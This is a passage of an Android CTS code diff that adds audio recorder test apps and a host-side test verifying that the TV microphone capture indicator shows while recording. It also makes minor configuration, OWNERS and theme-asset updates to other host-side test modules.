+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.systemui.cts.audiorecorder.mediarecorder">
+
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+
+    <application>
+        <service android:name=".AudioRecorderService"
+                 android:exported="true"/>
+    </application>
+
+</manifest>
+
diff --git a/hostsidetests/systemui/audiorecorder_app_mediarecorder/src/android/systemui/cts/audiorecorder/mediarecorder/AudioRecorderService.java b/hostsidetests/systemui/audiorecorder_app_mediarecorder/src/android/systemui/cts/audiorecorder/mediarecorder/AudioRecorderService.java
new file mode 100644
index 0000000..5fb94c1
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_app_mediarecorder/src/android/systemui/cts/audiorecorder/mediarecorder/AudioRecorderService.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts.audiorecorder.mediarecorder;
+
+import android.media.MediaRecorder;
+import android.media.MediaRecorder.AudioSource;
+import android.systemui.cts.audiorecorder.base.BaseAudioRecorderService;
+
+import java.io.File;
+import java.io.IOException;
+
+public class AudioRecorderService extends BaseAudioRecorderService {
+    private MediaRecorder mMediaRecorder = null;
+
+    protected void startRecording() {
+        mMediaRecorder = new MediaRecorder();
+        mMediaRecorder.setAudioSource(AudioSource.MIC);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+        mMediaRecorder.setOutputFile(new File(getExternalCacheDir(), "record.3gp"));
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
+
+        try {
+            mMediaRecorder.prepare();
+        } catch (IOException e) {
+            mMediaRecorder.release();
+            mMediaRecorder = null;
+            return;
+        }
+
+        mMediaRecorder.start();
+    }
+
+    protected void stopRecording() {
+        mMediaRecorder.stop();
+        mMediaRecorder.release();
+        mMediaRecorder = null;
+    }
+
+    protected boolean isRecording() {
+        return mMediaRecorder != null;
+    }
+}
diff --git a/hostsidetests/systemui/audiorecorder_base/Android.bp b/hostsidetests/systemui/audiorecorder_base/Android.bp
new file mode 100644
index 0000000..ba9c7e6
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_base/Android.bp
@@ -0,0 +1,21 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_library {
+    name: "CtsSystemUiDeviceAudioRecorderBase",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/systemui/audiorecorder_base/AndroidManifest.xml b/hostsidetests/systemui/audiorecorder_base/AndroidManifest.xml
new file mode 100644
index 0000000..1232e57
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_base/AndroidManifest.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.systemui.cts.audiorecorder.base">
+
+</manifest>
diff --git a/hostsidetests/systemui/audiorecorder_base/res/drawable-hdpi/ic_fg.png b/hostsidetests/systemui/audiorecorder_base/res/drawable-hdpi/ic_fg.png
new file mode 100644
index 0000000..98a3246
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_base/res/drawable-hdpi/ic_fg.png
Binary files differ
diff --git a/hostsidetests/systemui/audiorecorder_base/src/android/systemui/cts/audiorecorder/base/BaseAudioRecorderService.java b/hostsidetests/systemui/audiorecorder_base/src/android/systemui/cts/audiorecorder/base/BaseAudioRecorderService.java
new file mode 100644
index 0000000..dd7cc17
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_base/src/android/systemui/cts/audiorecorder/base/BaseAudioRecorderService.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts.audiorecorder.base;
+
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.media.AudioRecord;
+import android.media.MediaRecorder;
+import android.media.MediaRecorder.AudioSource;
+import android.os.IBinder;
+import android.util.Log;
+
+public abstract class BaseAudioRecorderService extends Service {
+    private static final String ACTION_START =
+            "android.systemui.cts.audiorecorder.ACTION_START";
+    private static final String ACTION_STOP =
+            "android.systemui.cts.audiorecorder.ACTION_STOP";
+    private static final String ACTION_THROW =
+            "android.systemui.cts.audiorecorder.ACTION_THROW";
+
+    private static final String NOTIFICATION_CHANNEL_ID = "all";
+    private static final String NOTIFICATION_CHANNEL_NAME = "All Notifications";
+    private static final int NOTIFICATION_ID = 1;
+    private static final String NOTIFICATION_TITLE = "Audio Record Service";
+    private static final String NOTIFICATION_TEXT = "Recording...";
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        startForeground(NOTIFICATION_ID, buildNotification());
+
+        final String action = intent.getAction();
+        if (ACTION_START.equals(action) && !isRecording()) {
+            startRecording();
+        } else if (ACTION_STOP.equals(action) && isRecording()) {
+            stopRecording();
+        } else if (ACTION_THROW.equals(action)) {
+            throw new RuntimeException("Commanded to throw!");
+        }
+
+        if (!isRecording()) {
+            stopForeground(true);
+            stopSelf();
+        }
+
+        return START_NOT_STICKY;
+    }
+
+    protected abstract void startRecording();
+
+    protected abstract void stopRecording();
+
+    protected abstract boolean isRecording();
+
+    @Override
+    public void onDestroy() {
+        if (isRecording()) {
+            stopRecording();
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    private Notification buildNotification() {
+        // Make sure the channel exists
+        createChannel();
+
+        return new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                .setContentTitle(NOTIFICATION_TITLE)
+                .setContentText(NOTIFICATION_TEXT)
+                .setSmallIcon(R.drawable.ic_fg)
+                .build();
+    }
+
+    private void createChannel() {
+        final NotificationChannel channel =
+                new NotificationChannel(
+                        NOTIFICATION_CHANNEL_ID,
+                        NOTIFICATION_CHANNEL_NAME,
+                        NotificationManager.IMPORTANCE_NONE);
+        final NotificationManager manager =
+                (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+        manager.createNotificationChannel(channel);
+    }
+}
diff --git a/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java b/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
new file mode 100644
index 0000000..82b9e65
--- /dev/null
+++ b/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
@@ -0,0 +1,300 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.host.systemui;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import com.android.server.wm.DisplayContentProto;
+import com.android.server.wm.IdentifierProto;
+import com.android.server.wm.RootWindowContainerProto;
+import com.android.server.wm.WindowManagerServiceDumpProto;
+import com.android.server.wm.WindowStateProto;
+import com.android.server.wm.WindowTokenProto;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class TvMicrophoneCaptureIndicatorTest extends BaseHostJUnit4Test {
+    private static final String SHELL_AM_START_FG_SERVICE =
+            "am start-foreground-service -n %s -a %s";
+    private static final String SHELL_AM_FORCE_STOP =
+            "am force-stop %s";
+    private static final String SHELL_DUMPSYS_WINDOW = "dumpsys window --proto";
+    private static final String SHELL_PID_OF = "pidof %s";
+
+    private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+
+    private static final String AUDIO_RECORDER_AR_PACKAGE_NAME =
+            "android.systemui.cts.audiorecorder.audiorecord";
+    private static final String AUDIO_RECORDER_MR_PACKAGE_NAME =
+            "android.systemui.cts.audiorecorder.mediarecorder";
+    private static final String AUDIO_RECORDER_AR_SERVICE_COMPONENT =
+            AUDIO_RECORDER_AR_PACKAGE_NAME + "/.AudioRecorderService";
+    private static final String AUDIO_RECORDER_MR_SERVICE_COMPONENT =
+            AUDIO_RECORDER_MR_PACKAGE_NAME + "/.AudioRecorderService";
+    private static final String AUDIO_RECORDER_ACTION_START =
+            "android.systemui.cts.audiorecorder.ACTION_START";
+    private static final String AUDIO_RECORDER_ACTION_STOP =
+            "android.systemui.cts.audiorecorder.ACTION_STOP";
+    private static final String AUDIO_RECORDER_ACTION_THROW =
+            "android.systemui.cts.audiorecorder.ACTION_THROW";
+
+    private static final String SHELL_AR_START_REC = String.format(SHELL_AM_START_FG_SERVICE,
+            AUDIO_RECORDER_AR_SERVICE_COMPONENT,
+            AUDIO_RECORDER_ACTION_START);
+    private static final String SHELL_AR_STOP_REC = String.format(SHELL_AM_START_FG_SERVICE,
+            AUDIO_RECORDER_AR_SERVICE_COMPONENT,
+            AUDIO_RECORDER_ACTION_STOP);
+    private static final String SHELL_MR_START_REC = String.format(SHELL_AM_START_FG_SERVICE,
+            AUDIO_RECORDER_MR_SERVICE_COMPONENT,
+            AUDIO_RECORDER_ACTION_START);
+    private static final String SHELL_MR_STOP_REC = String.format(SHELL_AM_START_FG_SERVICE,
+            AUDIO_RECORDER_MR_SERVICE_COMPONENT,
+            AUDIO_RECORDER_ACTION_STOP);
+    private static final String SHELL_AR_FORCE_STOP = String.format(SHELL_AM_FORCE_STOP,
+            AUDIO_RECORDER_AR_PACKAGE_NAME);
+    private static final String SHELL_MR_FORCE_STOP = String.format(SHELL_AM_FORCE_STOP,
+            AUDIO_RECORDER_MR_PACKAGE_NAME);
+    private static final String SHELL_AR_THROW = String.format(SHELL_AM_START_FG_SERVICE,
+            AUDIO_RECORDER_AR_SERVICE_COMPONENT,
+            AUDIO_RECORDER_ACTION_THROW);
+    private static final String SHELL_MR_THROW = String.format(SHELL_AM_START_FG_SERVICE,
+            AUDIO_RECORDER_MR_SERVICE_COMPONENT,
+            AUDIO_RECORDER_ACTION_THROW);
+
+    private static final String WINDOW_TITLE_MIC_INDICATOR = "MicrophoneCaptureIndicator";
+
+    private static final long ONE_SECOND = 1000L;
+    private static final long THREE_SECONDS = 3 * ONE_SECOND;
+    private static final long FIVE_SECONDS = 5 * ONE_SECOND;
+    private static final long THREE_HUNDRED_MILLISECONDS = (long) (0.3 * ONE_SECOND);
+
+    @Test
+    public void testIndicatorShownWhileRecordingUsingAudioRecordApi() throws Exception {
+        runSimpleStartStopTestRoutine(AUDIO_RECORDER_AR_PACKAGE_NAME, SHELL_AR_START_REC,
+                SHELL_AR_STOP_REC);
+    }
+
+    @Test
+    public void testIndicatorShownWhileRecordingUsingMediaRecorderApi() throws Exception {
+        runSimpleStartStopTestRoutine(AUDIO_RECORDER_MR_PACKAGE_NAME, SHELL_MR_START_REC,
+                SHELL_MR_STOP_REC);
+    }
+
+    @Test
+    public void testIndicatorShownWhileRecordingUsingAudioRecordApiAndForceStopped()
+            throws Exception {
+        runSimpleStartStopTestRoutine(AUDIO_RECORDER_AR_PACKAGE_NAME, SHELL_AR_START_REC,
+                SHELL_AR_FORCE_STOP);
+    }
+
+    @Test
+    public void testIndicatorShownWhileRecordingUsingMediaRecorderApiAndForceStopped()
+            throws Exception {
+        runSimpleStartStopTestRoutine(AUDIO_RECORDER_MR_PACKAGE_NAME, SHELL_MR_START_REC,
+                SHELL_MR_FORCE_STOP);
+    }
+
+    @Test
+    public void testIndicatorShownWhileRecordingUsingAudioRecordApiAndCrashed() throws Exception {
+        runSimpleStartStopTestRoutine(AUDIO_RECORDER_AR_PACKAGE_NAME, SHELL_AR_START_REC,
+                SHELL_AR_THROW);
+    }
+
+    @Test
+    public void testIndicatorShownWhileRecordingUsingMediaRecorderApiAndCrashed() throws Exception {
+        runSimpleStartStopTestRoutine(AUDIO_RECORDER_MR_PACKAGE_NAME, SHELL_MR_START_REC,
+                SHELL_MR_THROW);
+    }
+
+    @Test
+    public void testIndicatorShownWhileRecordingUsingBothApisSimultaneously() throws Exception {
+        assumeTrue("Not running on a Leanback (TV) device",
+                getDevice().hasFeature(FEATURE_LEANBACK_ONLY));
+
+        // Check that the indicator isn't shown initially
+        assertIndicatorInvisible();
+
+        // Start recording using MediaRecorder API
+        getDevice().executeShellCommand(SHELL_MR_START_REC);
+
+        // Wait for the application to be launched
+        waitForProcessToComeAlive(AUDIO_RECORDER_MR_PACKAGE_NAME);
+
+        // Wait for a second, and then check that the indicator is shown
+        Thread.sleep(ONE_SECOND);
+        assertIndicatorVisible();
+
+        // Start recording using AudioRecord API
+        getDevice().executeShellCommand(SHELL_AR_START_REC);
+
+        // Wait for the application to be launched
+        waitForProcessToComeAlive(AUDIO_RECORDER_AR_PACKAGE_NAME);
+
+        // Check that the indicator is still shown
+        assertIndicatorVisible();
+
+        // Check 3 more times that the indicator remains shown
+        for (int i = 0; i < 3; i++) {
+            Thread.sleep(ONE_SECOND);
+            assertIndicatorVisible();
+        }
+
+        // Stop recording using MediaRecorder API
+        getDevice().executeShellCommand(SHELL_MR_STOP_REC);
+
+        // check that the indicator is still shown
+        assertIndicatorVisible();
+
+        // Check 3 more times that the indicator remains shown
+        for (int i = 0; i < 3; i++) {
+            Thread.sleep(ONE_SECOND);
+            assertIndicatorVisible();
+        }
+
+        // Stop recording using AudioRecord API
+        getDevice().executeShellCommand(SHELL_AR_STOP_REC);
+
+        // Wait for five seconds and make sure that the indicator is not shown
+        Thread.sleep(FIVE_SECONDS);
+        assertIndicatorInvisible();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Kill both apps
+        getDevice().executeShellCommand(SHELL_AR_FORCE_STOP);
+        getDevice().executeShellCommand(SHELL_MR_FORCE_STOP);
+    }
+
+    private void runSimpleStartStopTestRoutine(String packageName, String startCommand,
+            String stopCommand) throws Exception {
+        assumeTrue("Not running on a Leanback (TV) device",
+                getDevice().hasFeature(FEATURE_LEANBACK_ONLY));
+
+        // Check that the indicator isn't shown initially
+        assertIndicatorInvisible();
+
+        // Start recording using AudioRecord API
+        getDevice().executeShellCommand(startCommand);
+
+        // Wait for the application to be launched
+        waitForProcessToComeAlive(packageName);
+
+        // Wait for a second, and then check that the indicator is shown, repeat 2 more times
+        for (int i = 0; i < 3; i++) {
+            Thread.sleep(ONE_SECOND);
+            assertIndicatorVisible();
+        }
+
+        // Stop recording (this may either send a command to the app to stop recording or command
+        // to crash or force-stop the app)
+        getDevice().executeShellCommand(stopCommand);
+
+        // Wait for five seconds and make sure that the indicator is not shown
+        Thread.sleep(FIVE_SECONDS);
+        assertIndicatorInvisible();
+    }
+
+    private void waitForProcessToComeAlive(String appPackageName) throws Exception {
+        final String pidofCommand = String.format(SHELL_PID_OF, appPackageName);
+
+        long waitTime = 0;
+        while (waitTime < THREE_SECONDS) {
+            Thread.sleep(THREE_HUNDRED_MILLISECONDS);
+
+            final String pid = getDevice().executeShellCommand(pidofCommand).trim();
+            if (!pid.isEmpty()) {
+                // Process is running
+                return;
+            }
+            waitTime += THREE_HUNDRED_MILLISECONDS;
+        }
+
+        fail("The process for " + appPackageName
+                + " should have come alive within 3 secs of launching the app.");
+    }
+
+    private void assertIndicatorVisible() throws Exception {
+        final WindowStateProto window = getMicCaptureIndicatorWindow(true);
+
+        assertNotNull("\"MicrophoneCaptureIndicator\" window does not exist", window);
+        assertTrue("\"MicrophoneCaptureIndicator\" window is not visible",
+                window.getIsVisible());
+        assertTrue("\"MicrophoneCaptureIndicator\" window is not on screen",
+                window.getIsOnScreen());
+    }
+
+    private void assertIndicatorInvisible() throws Exception {
+        final WindowStateProto window = getMicCaptureIndicatorWindow(false);
+        if (window == null) {
+            // If window is not present, that's fine, there is no need to check anything else.
+            return;
+        }
+
+        assertFalse("\"MicrophoneCaptureIndicator\" window shouldn't be visible",
+                window.getIsVisible());
+        assertFalse("\"MicrophoneCaptureIndicator\" window shouldn't be present on screen",
+                window.getIsOnScreen());
+    }
+
+    private WindowStateProto getMicCaptureIndicatorWindow(boolean aboveAppOnly) throws Exception {
+        final WindowManagerServiceDumpProto dump = getDump();
+        final RootWindowContainerProto root = dump.getRootWindowContainer();
+        final List<DisplayContentProto> displays = root.getDisplaysList();
+        for (DisplayContentProto display : displays) {
+            final List<WindowTokenProto> tokens;
+            if (aboveAppOnly) {
+                tokens = display.getAboveAppWindowsList();
+            } else {
+                tokens = new ArrayList<>();
+                tokens.addAll(display.getAboveAppWindowsList());
+                tokens.addAll(display.getImeWindowsList());
+                tokens.addAll(display.getBelowAppWindowsList());
+            }
+
+            for (WindowTokenProto token : tokens) {
+                for (WindowStateProto window : token.getWindowsList()) {
+                    final IdentifierProto identifier = window.getIdentifier();
+                    final String title = identifier.getTitle();
+                    if (WINDOW_TITLE_MIC_INDICATOR.equals(title)) {
+                        return window;
+                    }
+                }
+            }
+        }
+        return null;
+    }
+
+    private WindowManagerServiceDumpProto getDump() throws Exception {
+        final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        getDevice().executeShellCommand(SHELL_DUMPSYS_WINDOW, receiver);
+        return WindowManagerServiceDumpProto.parser().parseFrom(receiver.getOutput());
+    }
+}
diff --git a/hostsidetests/theme/AndroidTest.xml b/hostsidetests/theme/AndroidTest.xml
index b03e11e..2f889d5 100644
--- a/hostsidetests/theme/AndroidTest.xml
+++ b/hostsidetests/theme/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsThemeDeviceApp.apk" />
diff --git a/hostsidetests/theme/OWNERS b/hostsidetests/theme/OWNERS
index ae2c27b..b43358c 100644
--- a/hostsidetests/theme/OWNERS
+++ b/hostsidetests/theme/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 25700
-alanv@google.com
\ No newline at end of file
+alanv@google.com
+aurimas@google.com
\ No newline at end of file
diff --git a/hostsidetests/theme/assets/29/140dpi.zip b/hostsidetests/theme/assets/29/140dpi.zip
index cb385f1..48de32b 100644
--- a/hostsidetests/theme/assets/29/140dpi.zip
+++ b/hostsidetests/theme/assets/29/140dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/180dpi.zip b/hostsidetests/theme/assets/29/180dpi.zip
index b034a7f..4def986 100644
--- a/hostsidetests/theme/assets/29/180dpi.zip
+++ b/hostsidetests/theme/assets/29/180dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/200dpi.zip b/hostsidetests/theme/assets/29/200dpi.zip
index 9a0ca5e..fe2495e 100644
--- a/hostsidetests/theme/assets/29/200dpi.zip
+++ b/hostsidetests/theme/assets/29/200dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/220dpi.zip b/hostsidetests/theme/assets/29/220dpi.zip
index b65a035..a2c2ea2 100644
--- a/hostsidetests/theme/assets/29/220dpi.zip
+++ b/hostsidetests/theme/assets/29/220dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/260dpi.zip b/hostsidetests/theme/assets/29/260dpi.zip
index 9cdefe7..74890a2 100644
--- a/hostsidetests/theme/assets/29/260dpi.zip
+++ b/hostsidetests/theme/assets/29/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/280dpi.zip b/hostsidetests/theme/assets/29/280dpi.zip
index 2e39de5..83fd290 100644
--- a/hostsidetests/theme/assets/29/280dpi.zip
+++ b/hostsidetests/theme/assets/29/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/300dpi.zip b/hostsidetests/theme/assets/29/300dpi.zip
index fba9c6c..25334d8 100644
--- a/hostsidetests/theme/assets/29/300dpi.zip
+++ b/hostsidetests/theme/assets/29/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/340dpi.zip b/hostsidetests/theme/assets/29/340dpi.zip
index 72e6f8f..2092326 100644
--- a/hostsidetests/theme/assets/29/340dpi.zip
+++ b/hostsidetests/theme/assets/29/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/360dpi.zip b/hostsidetests/theme/assets/29/360dpi.zip
index 3970139..c13ad5c 100644
--- a/hostsidetests/theme/assets/29/360dpi.zip
+++ b/hostsidetests/theme/assets/29/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/400dpi.zip b/hostsidetests/theme/assets/29/400dpi.zip
index 510eb94d..1df1a95 100644
--- a/hostsidetests/theme/assets/29/400dpi.zip
+++ b/hostsidetests/theme/assets/29/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/420dpi.zip b/hostsidetests/theme/assets/29/420dpi.zip
index a457bda..d58d418 100644
--- a/hostsidetests/theme/assets/29/420dpi.zip
+++ b/hostsidetests/theme/assets/29/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/440dpi.zip b/hostsidetests/theme/assets/29/440dpi.zip
index 07355d1..535102f 100644
--- a/hostsidetests/theme/assets/29/440dpi.zip
+++ b/hostsidetests/theme/assets/29/440dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/560dpi.zip b/hostsidetests/theme/assets/29/560dpi.zip
index 6a85ad8..20f1c7b 100644
--- a/hostsidetests/theme/assets/29/560dpi.zip
+++ b/hostsidetests/theme/assets/29/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/hdpi.zip b/hostsidetests/theme/assets/29/hdpi.zip
index e1a534a..582989d 100644
--- a/hostsidetests/theme/assets/29/hdpi.zip
+++ b/hostsidetests/theme/assets/29/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/ldpi.zip b/hostsidetests/theme/assets/29/ldpi.zip
index 5475608..3035146 100644
--- a/hostsidetests/theme/assets/29/ldpi.zip
+++ b/hostsidetests/theme/assets/29/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/mdpi.zip b/hostsidetests/theme/assets/29/mdpi.zip
index 67c5c03..a831e7b 100644
--- a/hostsidetests/theme/assets/29/mdpi.zip
+++ b/hostsidetests/theme/assets/29/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/tvdpi.zip b/hostsidetests/theme/assets/29/tvdpi.zip
index 60f5afe..bd4bf75 100644
--- a/hostsidetests/theme/assets/29/tvdpi.zip
+++ b/hostsidetests/theme/assets/29/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/xhdpi.zip b/hostsidetests/theme/assets/29/xhdpi.zip
index d2895a1..0dd72e2 100644
--- a/hostsidetests/theme/assets/29/xhdpi.zip
+++ b/hostsidetests/theme/assets/29/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/xxhdpi.zip b/hostsidetests/theme/assets/29/xxhdpi.zip
index 637649a..64fc846 100644
--- a/hostsidetests/theme/assets/29/xxhdpi.zip
+++ b/hostsidetests/theme/assets/29/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/29/xxxhdpi.zip b/hostsidetests/theme/assets/29/xxxhdpi.zip
index 9ab19b1..87beb9a 100644
--- a/hostsidetests/theme/assets/29/xxxhdpi.zip
+++ b/hostsidetests/theme/assets/29/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index f31b081..2fcbb5b 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -295,7 +295,7 @@
 
     private static int getDensityForDevice(ITestDevice device) throws DeviceNotAvailableException {
         final String densityProp;
-        if (device.getSerialNumber().startsWith("emulator-")) {
+        if (isEmulator(device)) {
             densityProp = DENSITY_PROP_EMULATOR;
         } else {
             densityProp = DENSITY_PROP_DEVICE;
@@ -308,4 +308,9 @@
                 || hardwareTypeString.contains("android.hardware.type.television")
                 || hardwareTypeString.contains("android.hardware.type.automotive");
     }
+
+    private static boolean isEmulator(ITestDevice device) {
+        // Expecting something like "emulator-XXXX" or "EMULATORXXXX".
+        return device.getSerialNumber().toLowerCase().startsWith("emulator");
+    }
 }
diff --git a/hostsidetests/trustedvoice/AndroidTest.xml b/hostsidetests/trustedvoice/AndroidTest.xml
index c52d93a..bb5970b 100644
--- a/hostsidetests/trustedvoice/AndroidTest.xml
+++ b/hostsidetests/trustedvoice/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTrustedVoiceApp.apk" />
diff --git a/hostsidetests/trustedvoice/OWNERS b/hostsidetests/trustedvoice/OWNERS
new file mode 100644
index 0000000..f96bd04
--- /dev/null
+++ b/hostsidetests/trustedvoice/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 174421
+sharmneha@google.com
\ No newline at end of file
diff --git a/hostsidetests/tv/AndroidTest.xml b/hostsidetests/tv/AndroidTest.xml
index 96f39f3..bd883d0 100644
--- a/hostsidetests/tv/AndroidTest.xml
+++ b/hostsidetests/tv/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- Instant apps for TV is not supported. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsHostsideTvTests.jar" />
         <option name="runtime-hint" value="8m10s" />
diff --git a/hostsidetests/tzdata/AndroidTest.xml b/hostsidetests/tzdata/AndroidTest.xml
index 09cd90f..93072e9 100644
--- a/hostsidetests/tzdata/AndroidTest.xml
+++ b/hostsidetests/tzdata/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsHostTzDataTests.jar" />
     </test>
